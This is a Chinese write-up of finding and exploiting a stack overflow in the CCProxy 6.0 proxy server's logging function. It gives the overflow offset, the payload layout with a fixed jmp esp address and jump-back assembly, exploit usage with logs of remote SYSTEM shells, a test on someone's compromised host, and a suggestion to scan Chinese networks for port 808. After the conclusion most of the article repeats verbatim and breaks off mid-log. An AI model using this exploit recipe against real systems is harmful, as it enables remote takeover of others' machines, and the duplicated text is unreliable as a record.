我是如何发现 CCProxy 远程溢出漏洞的?
最编程
2024-04-21 19:06:12
...
CCProxy是一个国产的支持HTTP、FTP、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理协议的代理服务器软件。因为其简单易用、界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理。前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码。
TIPS:什么是Gopher、RTSP、MMS?
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。
RTSP是Real Tranfer Stream Protocol的缩写,翻译为实时传输流协议,用来传输网络上的流媒体文件,如RM电影文件等,它的下载方法请看后文《悄悄下载流媒体》。
MMS是Multimedia Messaging Service的缩写,中文译为多媒体信息服务,它最大的特色就是支持多媒体功能,可以在GPRS、CDMA 1X的支持下,以WAP无线应用协议为载体传送视频短片、图片、声音和文字,彩信就算MMS协议中的一种。
漏洞发现过程
其实发现这个漏洞是很偶然的,当时在考虑公司产品的黑盒测试方案的时候,我想使用模板+测试用例的方式来进行网络部分的边界测试。这是比较传统的黑盒测试方法,其核心内容就是把网络协议包分块,然后制定出对各个块的测试策略,最后按照策略对所有块逐步进行测试。这种测试方法的好处在于可以有效的控制测试进度,以及可以比较详细地测试一个网络协议的所有部分,而且在测试过程中还可以不断地加入新的测试用例,以完善测试计划。测试程序的编写则可以使用脚本语言或C来完成。
TIPS:什么是黑盒测试?
黑盒测试法把程序看成一个黑盒子,完全不考虑程序的内部结构和处理过程。黑盒测试是在程序接口进行的测试,它只检查程序功能是否能按照规格说明书的规定正常使用,程序是否能适当地接收输入数据产生正确的输出信息,并且保持外部信息的完整性。黑盒测试又称为功能测试。
我就是用这种方法测试公司的产品的时候,恰好当时在公司内部网之间使用CCProxy做代理服务器,因为测试HTTP协议要通过这个代理,所以测试过程中发现CCProxy崩溃了,也因此发现了这个漏洞,算是偶然吧。
漏洞分析过程
CCProxy的HTTP代理端口默认是808,这个端口可以在其界面中进行更改。漏洞的原理很简单,就是对CCProxy的 HTTP代理端口发送URL超过4056字节的畸形请求,CCProxy就会发生堆栈溢出。后来发现,不仅仅是GET请求存在此问题,所有POST、 HEAD等请求也都会导致溢出。在分析其原理后又发现CCProxy的Telnet代理也存在该问题。
现在来详细介绍一下我分析这个漏洞的过程。在发现了发送超长请求可以导致CCProxy出错以后,就开始分析溢出点以及利用限制。所要用到的工具是SOFTICE调试器和IDA反汇编工具。
TIPS:很多人都知道使用WINDASM反汇编,但经过它反汇编出来的代码非常简单,很不容易看明白,但IDA就不一样了,它不但会反汇编程序,并会尽量分析程序,并加上相应的注释。正因为这样,IDA反汇编一个大的程序会花非常长的时间。
整个调试分析漏洞的过程如下:首先在SOFTICE中下断点:Bpx ntdll!KiUserExceptionDispatcher,这个命令的意思就是程序运行到Ntdll.dll中的 KiUserExceptionDispatcher就停下来,交给SOFTICE进行处理。KiUserExceptionDispatcher这个函数是Windows的异常处理过程中的很重要的一个步骤,它负责派发用户层空间发生的所有异常到异常链中的异常处理函数地址,每当在用户层空间发生异常的时候就会调用这个函数。SOFTICE默认是没有加载Ntdll.dll的,所以我们可以通过DriverStudio套件中的一个叫做“Symbol Loader”的工具的Load Exports来加载这个DLL文件。
设好断点后,就用一个简单的程序向808端口发送“GET /AAAA[...4056 bytes] HTTP/1.0<回车><回车>”这样的超长字符串,其中包含4056个A的超长URL。发送之后SOFTICE会跳出来并停在KiUserExceptionDispatcher断点上,这时候用“dd (*(esp+4))+b8”命令来查看出错时的EIP地址,这是因为KiUserExceptionDispatcher的函数参数是一个指向保存异常发生时的寄存器的结构,该结构从偏移0x8c的位置开始保存寄存器值,其具体保存寄存器值如下:
0x08c Gs
0x090 Fs
0x094 Es
0x098 Ds
0x09c Edi
0x0a0 Esi
0x0a4 Ebx
0x0a8 Edx
0x0ac Ecx
0x0b0 Eax
0x0b4 Ebp
0x0b8 Eip
0x0bc Cs
0x0c0 EFlags
0x0c4 Esp
0x0c8 Ss
用“dd (*(esp+4))+b8”命令发现出现异常的EIP是0x41414141,我们知道0x41就是A的ASCII码,所以现在已经证实我们发送的超长字符串已经覆盖了某个函数的返回地址,导致该函数返回的时候返回到0x41414141这样的地址。此时退出SOFTICE就会弹出 “0x41414141指令引用0x41414141的内存。该内存不能read。”这样的应用程序错误对话框。
TIPS:“0x41414141指令引用0x41414141的内存。该内存不能read。”这种是典型的溢出提示,明确告诉我们溢出的地址和错误,对进一步分析溢出很有好处。
接下来,我们还需要知道究竟是什么地方导致函数返回地址被覆盖的。因此我们逐渐减少发送的字符串长度,发现当发送4039字节时就不会导致出错了。由于堆栈和返回地址被覆盖,我们无法看到导致溢出的地址到底是哪里,但是根据经验推测,这可能是一个由Strcpy、Strcat或Sprintf等函数导致的溢出。因此我们在这些函数下断点,然后再次发送4056字节的长URL命令。但是发现没有在这些函数中断下来,证明溢出过程并没有调用这些函数。
到了这里似乎没有好的办法能够确定溢出位置了,但是通过观察发生溢出后的堆栈内容,可以看到根据当时的堆栈中的连续大片的“AAAA……”和开头的时间和 “unknown Web”字符串等信息得知,当对堆栈中对这些地址写入内容的时候会导致覆盖返回地址,所以我们直接对堆栈地址设写断点,使用命令“bpmd 01977908 w”来对0x01977908的地址设一个写操作断点,这个地址是我们通过观察溢出发生后的ESP来得到的,因为这应该就是函数返回之后的ESP,即栈顶地址。但是这个地址是不固定的,可能不同的系统上这个地址也不一样,即使在同一个系统上,这个地址也随每次CCProxy进程的启动而不同。但是在同一个系统上,一般试几次就会使用同样的地址,所以我们只需要多试几次就肯定能够中断下来了。在设断点之前首先要用Addr ccproxy来进入CCProxy的进程地址空间。
经过仔细分析发现,当调用0040A410这个函数之前,会进行压栈操作,这个压栈恰好会把函数返回地址写入到堆栈01977908的位置,所以我们有理由相信就是调用这个0040A410这个函数的过程当中导致了溢出。在0040A410函数入口出设断点,然后发送溢出字符串,中断后按F12(即执行到函数返回),可以看到恰好返回到0x41414141的地址,这就印证了我们的推测,溢出确实发生在0040A410函数当中。
然后我们用IDA来反汇编CCProxy.exe来看看0040A410函数到底进行了哪些操作。反汇编的代码如下:
text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p
.text:0040A410 ; sub_408A10+262 p ...
.text:0040A410 mov eax, 280Ch
.text:0040A415 call __alloca_probe ;分配0x280c大小的缓冲区
.text:0040A41A mov eax, dword_501D04
.text:0040A41F push ebp
.text:0040A420 mov ebp, [esp+2814h] ;这是要记录的内容,作为参数传入
可以看到这个函数调用“__alloca_probe”函数来进行缓冲区分配,它和普通函数调用Sub esp,xxx的方式来分配缓冲区有点不同,这是因为需要分配的缓冲区太大,直接减ESP可能会导致直接到达未分配的地址空间,所以需要用 “__alloca_probe“来分配这个大缓冲区。
我们再继续跟踪这个函数,发现到0040A607的指令时覆盖了函数的返回地址。代码如下:
.text:0040A5F1 lea ecx, [esp+414h]
.text:0040A5F8 push ebp
.text:0040A5F9 push ecx
.text:0040A5FA lea edx, [esp+1820h]
.text:0040A601 push offset aSS_0 ; "[%s] %s"
.text:0040A606 push edx
.text:0040A607 call _sprintf
在这个调用了“_sprintf“函数,按照“[日期] 内容”的格式存入0x1820大小的局部字符串缓冲区中,由于没有限制长度,所以导致了缓冲区溢出。再仔细查看发现“_sprintf”函数是在 CCProxy自己的代码段里面实现的,而没有调用“msvcrt.dll”导出的Sprintf函数,难怪我们前面在Sprintf函数下断点没有拦截到!
说句题外话,现在市场上有些防溢出软件产品是利用拦截系统的字符串拷贝函数然后回溯堆栈的方法,并宣称从根本上解决了系统缓冲区溢出的问题。这根本就是无稽之谈,因为很多溢出都是软件自己的代码实现导致溢出的,例如这个CCProxy溢出这样,根本就不调用任何系统函数,所以那种保护方法并不能从根本上解决溢出的问题。
在0040A410函数返回的时候,就会返回到被覆盖的地址去。代码如下:
.text:0040A700 add esp, 280Ch ;恢复堆栈
.text:0040A706 retn ;返回
到这里我们已经可以看出,0040A410这个函数其实是一个记录CCProxy日志的函数,它按照“[日期] 内容”的格式来记录日志,但是在构造日志字符串的时候没有限制长度,所以导致了缓冲区溢出。我们已经找到了导致溢出的位置,接下来就要看看如何利用这个漏洞了。
漏洞利用
要利用漏洞,就要找到覆盖返回地址的字符串偏移。我们可以通过发送AAAABBBBCCCCDDD……这样的组合字符串看到底是哪里覆盖了返回地址。经过一番分析,得知在4056的偏移处恰好覆盖了函数返回地址。所以我们这样来设计溢出字符串:
GET /AAAA….|shellcode|jmp esp|jmp back| HTTP/1.0
其中“AAAA……”这样的字符串是为了在执行ShellCode之前腾出足够的空间,因为字母A所对应的CPU指令是INC ECX,即一条无实际作用的指令,相当于传统的NOP指令,但是它比NOP指令的好处在于它是可显示的字符,不易导致错误。而ShellCode是一个普通开端口的ShellCode,对其中的字符无任何特殊要求。Jmp esp是一个包含Jmp esp指令的地址,把它作为覆盖函数的返回地址,这样当函数返回的时候就会跳到这个地址去执行Jmp esp指令,因为此时的ESP恰好指向函数返回地址后面的地址,即随后的Jmp back指令。这个指令是一串跳转指令,用来跳过Jmp esp地址和ShellCcode,执行到前面的AAAA……,即NOP指令,以便最后执行到shellcode当中。这里我们要选用一个比较通用的 jmp esp地址,如果是系统DLL中的Jmp esp地址,可能会随系统打了不同的SP而有不同的地址,所以我们选择0x7ffa54cd这样的地址,它在同一类Windows系统(例如中文版 Windows 2000)当中是固定的。Jmp Back指令我们用这样的汇编指令:
mov ecx,25414141h ;把ECX设为0x25414141
shr ecx,14h ;把ECX右移0x14位,让ECX变为0x254
sub esp,ecx ;把ESP减去0x254
jmp esp ;跳到此时的ESP去
这样把ESP减去0x254就可以跳过前面的返回地址和ShellCode,这样一来就能够恰好跳到shellcode前面的NOP指令去执行了。
这样设计好溢出串,并编写程序保证jmp esp恰好覆盖返回地址,发送,果然溢出成功,并开出了shellcode指定的端口。这样exploit是不是就算是完成了呢?于是我到外网找了一个安装了CCProxy的肉鸡试了一下,可是没有成功。奇怪了,问题究竟出在哪里呢?
经过仔细分析发现,由于溢出是按照“[日期] 内容”的格式拷贝到字符串当中导致的,其中“内容”部分的格式是这样的:
客户端IP地址<空格>unknown<空格>Web<空格>HTTP请求
其中unknown和Web都是固定长度的字符串,HTTP请求是我们所能控制的字符串。但是这里存在一个问题,就是客户端IP地址是我们无法控制的字符串,它的长度是不固定的,这样一来,不同长度的客户端IP地址就会导致不同的溢出点,这样也就可能无法成功的溢出了。怎样解决这个问题呢?我们虽然无法控制客户端IP地址的字符串长度,但是我们可以得到这个字符串的长度,并且在我们所能控制的HTTP请求当中补齐这个长度,让我们发送的Jmp esp地址始终覆盖在函数返回地址上面。
而客户端IP地址可能根据不同网络结构而分为三种情况:
? 如果攻击者和攻击目标在同一个网段(即中间不经过网关),那么客户端IP地址就是攻击者主机的IP地址。
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),但是攻击者的主机有真实的IP地址。那么客户端IP地址也是攻击者主机的IP地址。
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),而且攻击者的主机没有真实的IP地址。例如攻击者在内网,而攻击目标主机在外网,那么客户端IP地址就是攻击者的网关的外部IP地址。
知道了这三种情况之后,我们就可以动手改进刚才的Exploit程序了。首先要取出本机的IP地址,可以通过调用Socket函数Gethostname ()先取得获取本机名,然后通过调用Gethostbyname()来得到本机IP地址的十六进制数值,最后利用Inet_ntoa()把这个数值转换为字符串。这样就解决了前两种情况的客户端IP地址,那么对于第三种本机和目标主机不在同一网段的情况又怎么办呢?用程序实现自动取网关外部IP地址好像稍微麻烦了点,我懒得写这样的程序了,干脆由用户自己来输入算了,怎么得到你的网关外部IP地址就不用我来教了吧,应该是不难的,有些网站的论坛甚至都会直接显示出你的IP地址,那就是你网关的IP地址。
TIPS:利用网关实现溢出攻击还是第一次看到具体的例子,它们的网络通讯是如何建立的?数据传输是怎么进行的?有兴趣的朋友可以考虑一下,尝试利用这个过程做点事情,相信你会有更都的发现。
漏洞攻击程序使用方法
我用前面提到的方法写了一个Exploit程序,按照“ccpx <目标IP> [端口]”这样的格式来使用,其中目标IP就是你要攻击的安装了CCProxy的机器的IP地址,端口是目标IP上的CCProxy的HTTP代理端口,这个端口默认是808,但是可能会更改。
然后程序会提示你“本主机IP是否与目标主机IP在同一个网段?”,因为前面提到原因,所以要采取两种不同的溢出字符串,如果你的机器和目标主机在同一个网段上,那你就选择Y,如果不在同一网段就选N。如果你选择了Nn,程序还会询问你“本主机有没有真实外网IP地址?”,也就是说你的机器是在内网还是外网,有没有真实IP地址,如果有就选Y,没有则选N。如果这次你又选择了N,那么程序会要求你输入本主机所属网关的外部IP地址,这个地址需要你自己想办法得到,要得到它也并不困难。输入之后就会成功发送溢出串,并自动连接ShellCode所开出的 24876端口,如果成功的话,就会出现系统权限的CMD.EXE命令行了。
如果你的机器和目标主机在同一个网段上面那就简单了,直接在第一步选Y就可以攻击成功。如果你的机器虽然和目标主机不在同一个网段上面,但是确有真实IP地址,那就在第二步选Y。
三种不同情况的具体攻击过程如下:
1.你的机器和目标主机在同一个网段上:
D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103
本主机IP是否与目标主机IP在同一个网段?[y/n]y
[+] connecting to 192.168.0.103:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator> exit
exit
[-] Connection closed.
2.你的机器虽然和目标主机不在同一个网段上面,但是有真实IP地址:
D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]y
[+] connecting to 202.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
3.你的机器在内网,而攻击目标主机在外网:
D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]n
请输入本主机所属网关的外部IP地址: 202.xx.xx.xx ←在这里输入是你网关的外部IP地址
[+] connecting to 210.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
我这个程序里面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系统中可能会有所不同,需要读者自己修改。
TIPS:由于这个ShellCode里面采用了直接开端口的方法,所以如果读者朋友的攻击目标上有防火墙的话,可能会导致攻击不成功。这种情况你需要更改isno程序中的ShellCode,把它替换成反向连接的ShellCode再重新编译一遍就行了。具体方法请关注最近几期“新手学溢出”栏目。
前面提到的这种根据不同网络情况来填充不同个数的A,从而把Jmp esp地址推到函数返回地址的方法是不是最好的方法呢?我觉得可能还有更好的方法,也许利用Sprintf函数的一些内部特性就可以不用这样而写出通用的利用程序了,但是我没时间去研究这个了,如果读者有兴趣的话可以自己研究一下,如果研究出来,这也算是一项很实用的通用Exploit技术。
后来研究发现CCProxy不仅仅HTTP代理存在溢出问题,Telnet代理等一些其他调用日志函数的端口也存在同样的问题,攻击方法类似,这里就不再详细分析了。另外,CCProxy 5.x以及以前的版本虽然也存在此漏洞,但是构造字符串的方法略有不同,因此这个Exploit程序无法成功的攻击CCProxy 5.x以及以前的版本,只能攻击CCProxy 6.0。读者可以自己研究一下老版本的CCProxy,并写出Exploit程序。
结束语
这个漏洞虽然不是Windows操作系统本身的漏洞,但是CCProxy在国内还算一个比较常用的软件,因此还是有一些利用价值的。不信你可以用Super Scan之类的端口扫描器扫描国内网段的TCP 808端口,很多时候都能找到安装了CCProxy的机器。
其实写这篇文章的目的并不是教大家去利用这个漏洞黑机器,而是告诉大家一个软件漏洞从发现到跟踪调试到最后写Exploit程序的过程是怎样的,也许你也能用这种方法找到一些其它的漏洞。
TIPS:什么是Gopher、RTSP、MMS?
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。
RTSP是Real Tranfer Stream Protocol的缩写,翻译为实时传输流协议,用来传输网络上的流媒体文件,如RM电影文件等,它的下载方法请看后文《悄悄下载流媒体》。
MMS是Multimedia Messaging Service的缩写,中文译为多媒体信息服务,它最大的特色就是支持多媒体功能,可以在GPRS、CDMA 1X的支持下,以WAP无线应用协议为载体传送视频短片、图片、声音和文字,彩信就算MMS协议中的一种。
漏洞发现过程
其实发现这个漏洞是很偶然的,当时在考虑公司产品的黑盒测试方案的时候,我想使用模板+测试用例的方式来进行网络部分的边界测试。这是比较传统的黑盒测试方法,其核心内容就是把网络协议包分块,然后制定出对各个块的测试策略,最后按照策略对所有块逐步进行测试。这种测试方法的好处在于可以有效的控制测试进度,以及可以比较详细地测试一个网络协议的所有部分,而且在测试过程中还可以不断地加入新的测试用例,以完善测试计划。测试程序的编写则可以使用脚本语言或C来完成。
TIPS:什么是黑盒测试?
黑盒测试法把程序看成一个黑盒子,完全不考虑程序的内部结构和处理过程。黑盒测试是在程序接口进行的测试,它只检查程序功能是否能按照规格说明书的规定正常使用,程序是否能适当地接收输入数据产生正确的输出信息,并且保持外部信息的完整性。黑盒测试又称为功能测试。
我就是用这种方法测试公司的产品的时候,恰好当时在公司内部网之间使用CCProxy做代理服务器,因为测试HTTP协议要通过这个代理,所以测试过程中发现CCProxy崩溃了,也因此发现了这个漏洞,算是偶然吧。
漏洞分析过程
CCProxy的HTTP代理端口默认是808,这个端口可以在其界面中进行更改。漏洞的原理很简单,就是对CCProxy的 HTTP代理端口发送URL超过4056字节的畸形请求,CCProxy就会发生堆栈溢出。后来发现,不仅仅是GET请求存在此问题,所有POST、 HEAD等请求也都会导致溢出。在分析其原理后又发现CCProxy的Telnet代理也存在该问题。
现在来详细介绍一下我分析这个漏洞的过程。在发现了发送超长请求可以导致CCProxy出错以后,就开始分析溢出点以及利用限制。所要用到的工具是SOFTICE调试器和IDA反汇编工具。
TIPS:很多人都知道使用WINDASM反汇编,但经过它反汇编出来的代码非常简单,很不容易看明白,但IDA就不一样了,它不但会反汇编程序,并会尽量分析程序,并加上相应的注释。正因为这样,IDA反汇编一个大的程序会花非常长的时间。
整个调试分析漏洞的过程如下:首先在SOFTICE中下断点:Bpx ntdll!KiUserExceptionDispatcher,这个命令的意思就是程序运行到Ntdll.dll中的 KiUserExceptionDispatcher就停下来,交给SOFTICE进行处理。KiUserExceptionDispatcher这个函数是Windows的异常处理过程中的很重要的一个步骤,它负责派发用户层空间发生的所有异常到异常链中的异常处理函数地址,每当在用户层空间发生异常的时候就会调用这个函数。SOFTICE默认是没有加载Ntdll.dll的,所以我们可以通过DriverStudio套件中的一个叫做“Symbol Loader”的工具的Load Exports来加载这个DLL文件。
设好断点后,就用一个简单的程序向808端口发送“GET /AAAA[...4056 bytes] HTTP/1.0<回车><回车>”这样的超长字符串,其中包含4056个A的超长URL。发送之后SOFTICE会跳出来并停在KiUserExceptionDispatcher断点上,这时候用“dd (*(esp+4))+b8”命令来查看出错时的EIP地址,这是因为KiUserExceptionDispatcher的函数参数是一个指向保存异常发生时的寄存器的结构,该结构从偏移0x8c的位置开始保存寄存器值,其具体保存寄存器值如下:
0x08c Gs
0x090 Fs
0x094 Es
0x098 Ds
0x09c Edi
0x0a0 Esi
0x0a4 Ebx
0x0a8 Edx
0x0ac Ecx
0x0b0 Eax
0x0b4 Ebp
0x0b8 Eip
0x0bc Cs
0x0c0 EFlags
0x0c4 Esp
0x0c8 Ss
用“dd (*(esp+4))+b8”命令发现出现异常的EIP是0x41414141,我们知道0x41就是A的ASCII码,所以现在已经证实我们发送的超长字符串已经覆盖了某个函数的返回地址,导致该函数返回的时候返回到0x41414141这样的地址。此时退出SOFTICE就会弹出 “0x41414141指令引用0x41414141的内存。该内存不能read。”这样的应用程序错误对话框。
TIPS:“0x41414141指令引用0x41414141的内存。该内存不能read。”这种是典型的溢出提示,明确告诉我们溢出的地址和错误,对进一步分析溢出很有好处。
接下来,我们还需要知道究竟是什么地方导致函数返回地址被覆盖的。因此我们逐渐减少发送的字符串长度,发现当发送4039字节时就不会导致出错了。由于堆栈和返回地址被覆盖,我们无法看到导致溢出的地址到底是哪里,但是根据经验推测,这可能是一个由Strcpy、Strcat或Sprintf等函数导致的溢出。因此我们在这些函数下断点,然后再次发送4056字节的长URL命令。但是发现没有在这些函数中断下来,证明溢出过程并没有调用这些函数。
到了这里似乎没有好的办法能够确定溢出位置了,但是通过观察发生溢出后的堆栈内容,可以看到根据当时的堆栈中的连续大片的“AAAA……”和开头的时间和 “unknown Web”字符串等信息得知,当对堆栈中对这些地址写入内容的时候会导致覆盖返回地址,所以我们直接对堆栈地址设写断点,使用命令“bpmd 01977908 w”来对0x01977908的地址设一个写操作断点,这个地址是我们通过观察溢出发生后的ESP来得到的,因为这应该就是函数返回之后的ESP,即栈顶地址。但是这个地址是不固定的,可能不同的系统上这个地址也不一样,即使在同一个系统上,这个地址也随每次CCProxy进程的启动而不同。但是在同一个系统上,一般试几次就会使用同样的地址,所以我们只需要多试几次就肯定能够中断下来了。在设断点之前首先要用Addr ccproxy来进入CCProxy的进程地址空间。
经过仔细分析发现,当调用0040A410这个函数之前,会进行压栈操作,这个压栈恰好会把函数返回地址写入到堆栈01977908的位置,所以我们有理由相信就是调用这个0040A410这个函数的过程当中导致了溢出。在0040A410函数入口出设断点,然后发送溢出字符串,中断后按F12(即执行到函数返回),可以看到恰好返回到0x41414141的地址,这就印证了我们的推测,溢出确实发生在0040A410函数当中。
然后我们用IDA来反汇编CCProxy.exe来看看0040A410函数到底进行了哪些操作。反汇编的代码如下:
text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p
.text:0040A410 ; sub_408A10+262 p ...
.text:0040A410 mov eax, 280Ch
.text:0040A415 call __alloca_probe ;分配0x280c大小的缓冲区
.text:0040A41A mov eax, dword_501D04
.text:0040A41F push ebp
.text:0040A420 mov ebp, [esp+2814h] ;这是要记录的内容,作为参数传入
可以看到这个函数调用“__alloca_probe”函数来进行缓冲区分配,它和普通函数调用Sub esp,xxx的方式来分配缓冲区有点不同,这是因为需要分配的缓冲区太大,直接减ESP可能会导致直接到达未分配的地址空间,所以需要用 “__alloca_probe“来分配这个大缓冲区。
我们再继续跟踪这个函数,发现到0040A607的指令时覆盖了函数的返回地址。代码如下:
.text:0040A5F1 lea ecx, [esp+414h]
.text:0040A5F8 push ebp
.text:0040A5F9 push ecx
.text:0040A5FA lea edx, [esp+1820h]
.text:0040A601 push offset aSS_0 ; "[%s] %s"
.text:0040A606 push edx
.text:0040A607 call _sprintf
在这个调用了“_sprintf“函数,按照“[日期] 内容”的格式存入0x1820大小的局部字符串缓冲区中,由于没有限制长度,所以导致了缓冲区溢出。再仔细查看发现“_sprintf”函数是在 CCProxy自己的代码段里面实现的,而没有调用“msvcrt.dll”导出的Sprintf函数,难怪我们前面在Sprintf函数下断点没有拦截到!
说句题外话,现在市场上有些防溢出软件产品是利用拦截系统的字符串拷贝函数然后回溯堆栈的方法,并宣称从根本上解决了系统缓冲区溢出的问题。这根本就是无稽之谈,因为很多溢出都是软件自己的代码实现导致溢出的,例如这个CCProxy溢出这样,根本就不调用任何系统函数,所以那种保护方法并不能从根本上解决溢出的问题。
在0040A410函数返回的时候,就会返回到被覆盖的地址去。代码如下:
.text:0040A700 add esp, 280Ch ;恢复堆栈
.text:0040A706 retn ;返回
到这里我们已经可以看出,0040A410这个函数其实是一个记录CCProxy日志的函数,它按照“[日期] 内容”的格式来记录日志,但是在构造日志字符串的时候没有限制长度,所以导致了缓冲区溢出。我们已经找到了导致溢出的位置,接下来就要看看如何利用这个漏洞了。
漏洞利用
要利用漏洞,就要找到覆盖返回地址的字符串偏移。我们可以通过发送AAAABBBBCCCCDDD……这样的组合字符串看到底是哪里覆盖了返回地址。经过一番分析,得知在4056的偏移处恰好覆盖了函数返回地址。所以我们这样来设计溢出字符串:
GET /AAAA….|shellcode|jmp esp|jmp back| HTTP/1.0
其中“AAAA……”这样的字符串是为了在执行ShellCode之前腾出足够的空间,因为字母A所对应的CPU指令是INC ECX,即一条无实际作用的指令,相当于传统的NOP指令,但是它比NOP指令的好处在于它是可显示的字符,不易导致错误。而ShellCode是一个普通开端口的ShellCode,对其中的字符无任何特殊要求。Jmp esp是一个包含Jmp esp指令的地址,把它作为覆盖函数的返回地址,这样当函数返回的时候就会跳到这个地址去执行Jmp esp指令,因为此时的ESP恰好指向函数返回地址后面的地址,即随后的Jmp back指令。这个指令是一串跳转指令,用来跳过Jmp esp地址和ShellCcode,执行到前面的AAAA……,即NOP指令,以便最后执行到shellcode当中。这里我们要选用一个比较通用的 jmp esp地址,如果是系统DLL中的Jmp esp地址,可能会随系统打了不同的SP而有不同的地址,所以我们选择0x7ffa54cd这样的地址,它在同一类Windows系统(例如中文版 Windows 2000)当中是固定的。Jmp Back指令我们用这样的汇编指令:
mov ecx,25414141h ;把ECX设为0x25414141
shr ecx,14h ;把ECX右移0x14位,让ECX变为0x254
sub esp,ecx ;把ESP减去0x254
jmp esp ;跳到此时的ESP去
这样把ESP减去0x254就可以跳过前面的返回地址和ShellCode,这样一来就能够恰好跳到shellcode前面的NOP指令去执行了。
这样设计好溢出串,并编写程序保证jmp esp恰好覆盖返回地址,发送,果然溢出成功,并开出了shellcode指定的端口。这样exploit是不是就算是完成了呢?于是我到外网找了一个安装了CCProxy的肉鸡试了一下,可是没有成功。奇怪了,问题究竟出在哪里呢?
经过仔细分析发现,由于溢出是按照“[日期] 内容”的格式拷贝到字符串当中导致的,其中“内容”部分的格式是这样的:
客户端IP地址<空格>unknown<空格>Web<空格>HTTP请求
其中unknown和Web都是固定长度的字符串,HTTP请求是我们所能控制的字符串。但是这里存在一个问题,就是客户端IP地址是我们无法控制的字符串,它的长度是不固定的,这样一来,不同长度的客户端IP地址就会导致不同的溢出点,这样也就可能无法成功的溢出了。怎样解决这个问题呢?我们虽然无法控制客户端IP地址的字符串长度,但是我们可以得到这个字符串的长度,并且在我们所能控制的HTTP请求当中补齐这个长度,让我们发送的Jmp esp地址始终覆盖在函数返回地址上面。
而客户端IP地址可能根据不同网络结构而分为三种情况:
? 如果攻击者和攻击目标在同一个网段(即中间不经过网关),那么客户端IP地址就是攻击者主机的IP地址。
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),但是攻击者的主机有真实的IP地址。那么客户端IP地址也是攻击者主机的IP地址。
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),而且攻击者的主机没有真实的IP地址。例如攻击者在内网,而攻击目标主机在外网,那么客户端IP地址就是攻击者的网关的外部IP地址。
知道了这三种情况之后,我们就可以动手改进刚才的Exploit程序了。首先要取出本机的IP地址,可以通过调用Socket函数Gethostname ()先取得获取本机名,然后通过调用Gethostbyname()来得到本机IP地址的十六进制数值,最后利用Inet_ntoa()把这个数值转换为字符串。这样就解决了前两种情况的客户端IP地址,那么对于第三种本机和目标主机不在同一网段的情况又怎么办呢?用程序实现自动取网关外部IP地址好像稍微麻烦了点,我懒得写这样的程序了,干脆由用户自己来输入算了,怎么得到你的网关外部IP地址就不用我来教了吧,应该是不难的,有些网站的论坛甚至都会直接显示出你的IP地址,那就是你网关的IP地址。
TIPS:利用网关实现溢出攻击还是第一次看到具体的例子,它们的网络通讯是如何建立的?数据传输是怎么进行的?有兴趣的朋友可以考虑一下,尝试利用这个过程做点事情,相信你会有更都的发现。
漏洞攻击程序使用方法
我用前面提到的方法写了一个Exploit程序,按照“ccpx <目标IP> [端口]”这样的格式来使用,其中目标IP就是你要攻击的安装了CCProxy的机器的IP地址,端口是目标IP上的CCProxy的HTTP代理端口,这个端口默认是808,但是可能会更改。
然后程序会提示你“本主机IP是否与目标主机IP在同一个网段?”,因为前面提到原因,所以要采取两种不同的溢出字符串,如果你的机器和目标主机在同一个网段上,那你就选择Y,如果不在同一网段就选N。如果你选择了Nn,程序还会询问你“本主机有没有真实外网IP地址?”,也就是说你的机器是在内网还是外网,有没有真实IP地址,如果有就选Y,没有则选N。如果这次你又选择了N,那么程序会要求你输入本主机所属网关的外部IP地址,这个地址需要你自己想办法得到,要得到它也并不困难。输入之后就会成功发送溢出串,并自动连接ShellCode所开出的 24876端口,如果成功的话,就会出现系统权限的CMD.EXE命令行了。
如果你的机器和目标主机在同一个网段上面那就简单了,直接在第一步选Y就可以攻击成功。如果你的机器虽然和目标主机不在同一个网段上面,但是确有真实IP地址,那就在第二步选Y。
三种不同情况的具体攻击过程如下:
1.你的机器和目标主机在同一个网段上:
D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103
本主机IP是否与目标主机IP在同一个网段?[y/n]y
[+] connecting to 192.168.0.103:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator> exit
exit
[-] Connection closed.
2.你的机器虽然和目标主机不在同一个网段上面,但是有真实IP地址:
D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]y
[+] connecting to 202.xxx.xxx.xxx:808
[+] send magic buffer...
